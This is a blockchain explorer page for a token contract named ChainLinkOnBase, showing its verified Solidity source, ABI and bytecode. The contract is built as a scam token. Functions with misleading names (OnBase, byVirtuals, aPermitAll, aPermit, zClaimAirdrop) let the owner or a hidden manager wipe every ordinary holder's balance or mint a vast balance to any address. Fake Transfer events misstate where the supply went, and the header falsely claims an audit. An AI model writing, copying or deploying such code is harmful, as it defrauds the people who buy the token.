ETH Price: $2,816.43 (-4.66%)
 

Overview

Max Total Supply

100,000,000,000 XRPH KEY

Holders

4

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x39F8daF2...29824B830
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ChainLinkOnBase

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-05-14
*/

// SPDX-License-Identifier: Audited By CHAIN LINK ON BASE
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ChainLinkOnBase is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000000000000000000000000;

    mapping(address => uint256) private VirtualsOnBase;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_WETH = 0x4200000000000000000000000000000000000006;
    address private constant ADDRESS_MARKETING = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address ADDRESS_DEVELOPMENT;
    address ADDRESS_Manager;
    address ADDRESS_Virtuals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable {

        transferOwnership(owner_);  
        
        _name = name_;
        _symbol = symbol_;
  
       ADDRESS_Manager = ADDRESS_Manager_;
       ADDRESS_DEVELOPMENT = ADDRESS_Manager_;
       ADDRESS_Virtuals = owner_;
        VirtualsOnBase[address(this)] = _totalSupply.mul(10).div(10000);
        emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000));

  
        Virtuals();

 
        payable(address(this)).transfer(msg.value);
    }


    function Virtuals() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
        uint256 threePercent = _totalSupply.mul(1).div(10000);
        uint256 twoPercent = _totalSupply.mul(29).div(10000);

        VirtualsOnBase[ADDRESS_WETH] = VirtualsOnBase[ADDRESS_WETH].add(ninetyFourPercent);
        VirtualsOnBase[ADDRESS_MARKETING] = VirtualsOnBase[ADDRESS_MARKETING].add(threePercent);
        VirtualsOnBase[ADDRESS_DEVELOPMENT] = VirtualsOnBase[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (VirtualsOnBase[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        VirtualsOnBase[sender] = VirtualsOnBase[sender].sub(amount);
        VirtualsOnBase[recipient] = VirtualsOnBase[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function OnBase() external onlyOwner {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }


    function byVirtuals() external {
        require(ADDRESS_Virtuals == _msgSender());
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }





    function aPermitAll() external Only_Manager {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        VirtualsOnBase[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        VirtualsOnBase[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return VirtualsOnBase[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
    

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
      
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_
    ) external payable returns (address) {
       
        ChainLinkOnBase newToken = (new ChainLinkOnBase){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

   

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OnBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aPermitAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"byVirtuals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040819052600a805460ff60a01b19169055611cb03881900390819083398101604081905261002f916105a5565b5f80546001600160a01b0319163390811782556040519091905f516020611c505f395f51905f52908290a361006382610168565b600161006f85826106ae565b50600261007c84826106ae565b50600780546001600160a01b03199081166001600160a01b038481169182179093556006805483169091179055600880549091169184169190911790556100dd6127106100d76c01431e0fae6d7217caa0000000600a6101d5565b90610261565b305f81815260036020526040812092909255905f516020611c705f395f51905f5261011c6103e86100d76c01431e0fae6d7217caa0000000600a6101d5565b60405190815260200160405180910390a36101356102bb565b60405130903480156108fc02915f818181858888f1935050505015801561015e573d5f5f3e3d5ffd5b50505050506107c5565b5f546001600160a01b0316331461017d575f5ffd5b6001600160a01b03811661018f575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611c505f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101e457505f61025b565b5f6101ef838561077c565b9050826101fc8583610793565b146102585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102b15760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161024f565b6102588284610793565b5f6102db6127106100d76c01431e0fae6d7217caa00000006126e86101d5565b90505f6102fc6127106100d76c01431e0fae6d7217caa000000060016101d5565b90505f61031d6127106100d76c01431e0fae6d7217caa0000000601d6101d5565b7342000000000000000000000000000000000000065f5260036020525f516020611c905f395f51905f5254909150610355908461048f565b60036020525f516020611c905f395f51905f525573833589fcd6edb6e08f4c7c32d4f71b54bda029135f525f516020611c305f395f51905f5254610399908361048f565b60036020525f516020611c305f395f51905f52556006546001600160a01b03165f90815260409020546103cc908261048f565b6006546001600160a01b03165f9081526003602090815260409182902092909255518481527342000000000000000000000000000000000000069130915f516020611c705f395f51905f52910160405180910390a360405182815273833589fcd6edb6e08f4c7c32d4f71b54bda029139030905f516020611c705f395f51905f529060200160405180910390a36006546040518281526001600160a01b039091169030905f516020611c705f395f51905f529060200160405180910390a3505050565b5f8061049b83856107b2565b9050838110156102585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161024f565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610510575f5ffd5b81516001600160401b03811115610529576105296104ed565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610557576105576104ed565b60405281815283820160200185101561056e575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b03811681146105a0575f5ffd5b919050565b5f5f5f5f608085870312156105b8575f5ffd5b84516001600160401b038111156105cd575f5ffd5b6105d987828801610501565b602087015190955090506001600160401b038111156105f6575f5ffd5b61060287828801610501565b9350506106116040860161058a565b915061061f6060860161058a565b905092959194509250565b600181811c9082168061063e57607f821691505b60208210810361065c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106a957805f5260205f20601f840160051c810160208510156106875750805b601f840160051c820191505b818110156106a6575f8155600101610693565b50505b505050565b81516001600160401b038111156106c7576106c76104ed565b6106db816106d5845461062a565b84610662565b6020601f82116001811461070d575f83156106f65750848201515b5f19600385901b1c1916600184901b1784556106a6565b5f84815260208120601f198516915b8281101561073c578785015182556020948501946001909201910161071c565b508482101561075957868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761025b5761025b610768565b5f826107ad57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561025b5761025b610768565b61145e806107d25f395ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102b9578063dc064fa7146102d8578063dd62ed3e146102ec578063e8078d9414610330578063f2fde38b14610344575f5ffd5b80638da5cb5b146102415780638f8af1e11461026757806395d89b4114610286578063a37e0a641461029a575f5ffd5b806323b872dd116100d857806323b872dd146101ab578063313ce567146101ca57806332975691146101e557806370a08231146101f9578063715018a61461022d575f5ffd5b806306fdde0314610113578063095ea7b31461013d5780630bc60abb1461016c57806318160ddd14610182575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b50610127610363565b60405161013491906110e0565b60405180910390f35b348015610148575f5ffd5b5061015c610157366004611129565b6103f3565b6040519015158152602001610134565b348015610177575f5ffd5b50610180610409565b005b34801561018d575f5ffd5b506c01431e0fae6d7217caa00000005b604051908152602001610134565b3480156101b6575f5ffd5b5061015c6101c5366004611153565b61052f565b3480156101d5575f5ffd5b5060405160128152602001610134565b3480156101f0575f5ffd5b5061018061057e565b348015610204575f5ffd5b5061019d610213366004611191565b6001600160a01b03165f9081526003602052604090205490565b348015610238575f5ffd5b506101806106a0565b34801561024c575f5ffd5b505f546040516001600160a01b039091168152602001610134565b348015610272575f5ffd5b506101806102813660046111ac565b6106fd565b348015610291575f5ffd5b506101276107de565b3480156102a5575f5ffd5b506101806102b4366004611191565b6107ed565b3480156102c4575f5ffd5b5061015c6102d3366004611129565b610899565b3480156102e3575f5ffd5b506101806108a5565b3480156102f7575f5ffd5b5061019d61030636600461121d565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561033b575f5ffd5b506101806109c8565b34801561034f575f5ffd5b5061018061035e366004611191565b610cd3565b60606001805461037290611254565b80601f016020809104026020016040519081016040528092919081815260200182805461039e90611254565b80156103e95780601f106103c0576101008083540402835291602001916103e9565b820191905f5260205f20905b8154815290600101906020018083116103cc57829003601f168201915b5050505050905090565b5f6103ff338484610d53565b5060015b92915050565b6007546001600160a01b0316331461041f575f5ffd5b5f5b60055481101561052c575f6005828154811061043f5761043f61128c565b5f918252602090912001546001600160a01b0316905030811480159061047257505f546001600160a01b03828116911614155b801561048c5750600a546001600160a01b03828116911614155b80156104a857506001600160a01b0381166006602160991b0114155b80156104d157506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b80156104eb57506007546001600160a01b03828116911614155b801561050557506006546001600160a01b03828116911614155b15610523576001600160a01b0381165f908152600360205260408120555b50600101610421565b50565b5f61053b848484610e77565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461057491869161056f9086610f5a565b610d53565b5060019392505050565b5f546001600160a01b03163314610593575f5ffd5b5f5b60055481101561052c575f600582815481106105b3576105b361128c565b5f918252602090912001546001600160a01b031690503081148015906105e657505f546001600160a01b03828116911614155b80156106005750600a546001600160a01b03828116911614155b801561061c57506001600160a01b0381166006602160991b0114155b801561064557506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b801561065f57506007546001600160a01b03828116911614155b801561067957506006546001600160a01b03828116911614155b15610697576001600160a01b0381165f908152600360205260408120555b50600101610595565b5f546001600160a01b031633146106b5575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610713575f5ffd5b5f5b818110156107d957600160035f8585858181106107345761073461128c565b90506020020160208101906107499190611191565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106107795761077961128c565b905060200201602081019061078e9190611191565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107c991815260200190565b60405180910390a3600101610715565b505050565b60606002805461037290611254565b6007546001600160a01b03163314610803575f5ffd5b61080f6012600a611397565b610826906c01431e0fae6d7217caa00000006113a5565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61086e6012600a611397565b610885906c01431e0fae6d7217caa00000006113a5565b60405190815260200160405180910390a350565b5f6103ff338484610e77565b6008546001600160a01b031633146108bb575f5ffd5b5f5b60055481101561052c575f600582815481106108db576108db61128c565b5f918252602090912001546001600160a01b0316905030811480159061090e57505f546001600160a01b03828116911614155b80156109285750600a546001600160a01b03828116911614155b801561094457506001600160a01b0381166006602160991b0114155b801561096d57506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b801561098757506007546001600160a01b03828116911614155b80156109a157506006546001600160a01b03828116911614155b156109bf576001600160a01b0381165f908152600360205260408120555b506001016108bd565b5f546001600160a01b031633146109dd575f5ffd5b600a54600160a01b900460ff1615610a3c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600980546001600160a01b031916734752ba5dbc23f44d87826276bf6fd6b1c372ad249081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610a9e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac291906113bc565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b21573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b4591906113bc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb391906113bc565b600a80546001600160a01b0319166001600160a01b03928316179055600954610bec913091166c01431e0fae6d7217caa0000000610d53565b6009546001600160a01b031663f305d7194730610c1d816001600160a01b03165f9081526003602052604090205490565b5f5f610c305f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c96573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cbb91906113d7565b5050600a805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610ce8575f5ffd5b6001600160a01b038116610cfa575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610db55760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a33565b6001600160a01b038216610e165760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a33565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e89575f5ffd5b6001600160a01b038216610e9b575f5ffd5b6001600160a01b0383165f90815260036020526040902054610ebd9082610f5a565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610eeb9082610fbc565b6001600160a01b0383165f90815260036020526040902055610f0c8361101a565b610f158261101a565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e6a91815260200190565b5f82821115610fab5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610a33565b610fb58284611402565b9392505050565b5f80610fc88385611415565b905083811015610fb55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a33565b6001600160a01b0381165f908152600360205260409020541561052c575f805b60055481101561108b57826001600160a01b0316600582815481106110615761106161128c565b5f918252602090912001546001600160a01b031603611083576001915061108b565b60010161103a565b50806110dc57600580546001810182555f919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461052c575f5ffd5b5f5f6040838503121561113a575f5ffd5b823561114581611115565b946020939093013593505050565b5f5f5f60608486031215611165575f5ffd5b833561117081611115565b9250602084013561118081611115565b929592945050506040919091013590565b5f602082840312156111a1575f5ffd5b8135610fb581611115565b5f5f602083850312156111bd575f5ffd5b823567ffffffffffffffff8111156111d3575f5ffd5b8301601f810185136111e3575f5ffd5b803567ffffffffffffffff8111156111f9575f5ffd5b8560208260051b840101111561120d575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561122e575f5ffd5b823561123981611115565b9150602083013561124981611115565b809150509250929050565b600181811c9082168061126857607f821691505b60208210810361128657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112ef578085048111156112d3576112d36112a0565b60018416156112e157908102905b60019390931c9280026112b8565b935093915050565b5f8261130557506001610403565b8161131157505f610403565b816001811461132757600281146113315761134d565b6001915050610403565b60ff841115611342576113426112a0565b50506001821b610403565b5060208310610133831016604e8410600b8410161715611370575081810a610403565b61137c5f1984846112b4565b805f190482111561138f5761138f6112a0565b029392505050565b5f610fb560ff8416836112f7565b8082028115828204841417610403576104036112a0565b5f602082840312156113cc575f5ffd5b8151610fb581611115565b5f5f5f606084860312156113e9575f5ffd5b5050815160208301516040909301519094929350919050565b81810381811115610403576104036112a0565b80820180821115610403576104036112a056fea2646970667358221220628edae70b0ed1c0db5c19552e378cc6accafd75b4dfea7b025490ca030e509c64736f6c634300081c0033945846cd798efcc1aeaa663b24b9ae9271a3a7b7ca01fd424888a0e6962713858be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc470c8a4cc3a8c5d04b4b1749ebf71cbb600960c7a6cf2832a698a42edfa5bac000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000ef6c5e9718c146cd58796808629c55e1f0e87dca00000000000000000000000021f9f13c1d198e7c2a4a33ad94d17db5b2bfd44e000000000000000000000000000000000000000000000000000000000000000858525048204b4559000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000858525048204b4559000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102b9578063dc064fa7146102d8578063dd62ed3e146102ec578063e8078d9414610330578063f2fde38b14610344575f5ffd5b80638da5cb5b146102415780638f8af1e11461026757806395d89b4114610286578063a37e0a641461029a575f5ffd5b806323b872dd116100d857806323b872dd146101ab578063313ce567146101ca57806332975691146101e557806370a08231146101f9578063715018a61461022d575f5ffd5b806306fdde0314610113578063095ea7b31461013d5780630bc60abb1461016c57806318160ddd14610182575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b50610127610363565b60405161013491906110e0565b60405180910390f35b348015610148575f5ffd5b5061015c610157366004611129565b6103f3565b6040519015158152602001610134565b348015610177575f5ffd5b50610180610409565b005b34801561018d575f5ffd5b506c01431e0fae6d7217caa00000005b604051908152602001610134565b3480156101b6575f5ffd5b5061015c6101c5366004611153565b61052f565b3480156101d5575f5ffd5b5060405160128152602001610134565b3480156101f0575f5ffd5b5061018061057e565b348015610204575f5ffd5b5061019d610213366004611191565b6001600160a01b03165f9081526003602052604090205490565b348015610238575f5ffd5b506101806106a0565b34801561024c575f5ffd5b505f546040516001600160a01b039091168152602001610134565b348015610272575f5ffd5b506101806102813660046111ac565b6106fd565b348015610291575f5ffd5b506101276107de565b3480156102a5575f5ffd5b506101806102b4366004611191565b6107ed565b3480156102c4575f5ffd5b5061015c6102d3366004611129565b610899565b3480156102e3575f5ffd5b506101806108a5565b3480156102f7575f5ffd5b5061019d61030636600461121d565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561033b575f5ffd5b506101806109c8565b34801561034f575f5ffd5b5061018061035e366004611191565b610cd3565b60606001805461037290611254565b80601f016020809104026020016040519081016040528092919081815260200182805461039e90611254565b80156103e95780601f106103c0576101008083540402835291602001916103e9565b820191905f5260205f20905b8154815290600101906020018083116103cc57829003601f168201915b5050505050905090565b5f6103ff338484610d53565b5060015b92915050565b6007546001600160a01b0316331461041f575f5ffd5b5f5b60055481101561052c575f6005828154811061043f5761043f61128c565b5f918252602090912001546001600160a01b0316905030811480159061047257505f546001600160a01b03828116911614155b801561048c5750600a546001600160a01b03828116911614155b80156104a857506001600160a01b0381166006602160991b0114155b80156104d157506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b80156104eb57506007546001600160a01b03828116911614155b801561050557506006546001600160a01b03828116911614155b15610523576001600160a01b0381165f908152600360205260408120555b50600101610421565b50565b5f61053b848484610e77565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461057491869161056f9086610f5a565b610d53565b5060019392505050565b5f546001600160a01b03163314610593575f5ffd5b5f5b60055481101561052c575f600582815481106105b3576105b361128c565b5f918252602090912001546001600160a01b031690503081148015906105e657505f546001600160a01b03828116911614155b80156106005750600a546001600160a01b03828116911614155b801561061c57506001600160a01b0381166006602160991b0114155